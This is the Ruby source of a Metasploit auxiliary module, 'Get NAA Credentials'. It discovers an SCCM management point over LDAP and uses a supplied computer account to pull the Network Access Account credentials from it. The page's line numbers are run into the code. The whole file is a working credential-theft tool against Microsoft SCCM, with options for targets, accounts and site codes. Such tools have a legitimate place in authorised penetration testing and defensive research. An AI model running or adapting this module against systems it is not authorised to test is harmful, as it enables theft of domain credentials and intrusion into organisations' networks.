Path: blob/master/modules/auxiliary/admin/sccm/get_naa_credentials.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Auxiliary5include ::Msf::Exploit::Remote::HTTP::SCCM6include Msf::Exploit::Remote::LDAP7include Msf::OptionalSession::LDAP89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Get NAA Credentials',14'Description' => %q{15This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server.16This requires a computer account, which can be added using the samr_account module.17},18'Author' => [19'xpn', # Initial research20'skelsec', # Initial obfuscation port21'smashery' # module author22],23'References' => [24['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],25['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],26['URL', 'https://github.com/Mayyhem/SharpSCCM'],27['URL', 'https://github.com/garrettfoster13/sccmhunter']28],29'License' => MSF_LICENSE,30'Notes' => {31'Stability' => [],32'SideEffects' => [CONFIG_CHANGES],33'Reliability' => []34}35)36)3738register_options([39OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),40OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),41OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),42OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),43OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),44OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),45OptString.new('DOMAIN', [ true, 'The domain to authenticate to', '' ])46])4748deregister_options('LDAPDomain') # deregister LDAPDomain because DOMAIN is registered and used for both LDAP and HTTP4950@session_or_rhost_required = false51end5253def find_management_point54ldap_connect do |ldap|55validate_bind_success!(ldap)5657if (@base_dn = datastore['BASE_DN'])58print_status("User-specified base DN: #{@base_dn}")59else60print_status('Discovering base DN automatically')6162if (@base_dn = ldap.base_dn)63print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")64else65fail_with(Msf::Module::Failure::UnexpectedReply, "Couldn't discover base DN!")66end67end68raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])69return nil unless raw_objects.any?7071raw_obj = raw_objects.first7273raw_objects.each do |ro|74print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")75end7677if raw_objects.length > 178print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")79end8081obj = {}82obj[:rhost] = raw_obj[:dnshostname].first83obj[:sitecode] = raw_obj[:mssmssitecode].first8485obj86rescue Errno::ECONNRESET87fail_with(Msf::Module::Failure::Disconnected, 'The connection was reset.')88rescue Rex::ConnectionError => e89fail_with(Msf::Module::Failure::Unreachable, e.message)90rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e91fail_with(Msf::Module::Failure::NoAccess, e.message)92rescue Net::LDAP::Error => e93fail_with(Msf::Module::Failure::Unknown, "#{e.class}: #{e.message}")94end95end9697def run98management_point = datastore['MANAGEMENT_POINT']99site_code = datastore['SITE_CODE']100if management_point.blank? != site_code.blank?101fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')102end103104if management_point.blank?105begin106result = find_management_point107fail_with(Failure::NotFound, 'Failed to find management point') unless result108management_point = result[:rhost]109site_code = result[:site_code]110rescue ::IOError => e111fail_with(Failure::UnexpectedReply, e.message)112end113end114115opts = {116'username' => datastore['COMPUTER_USER'],117'password' => datastore['COMPUTER_PASS']118}119computer_user = datastore['COMPUTER_USER'].delete_suffix('$')120get_naa_credentials(opts, management_point, site_code, computer_user)121end122end123124125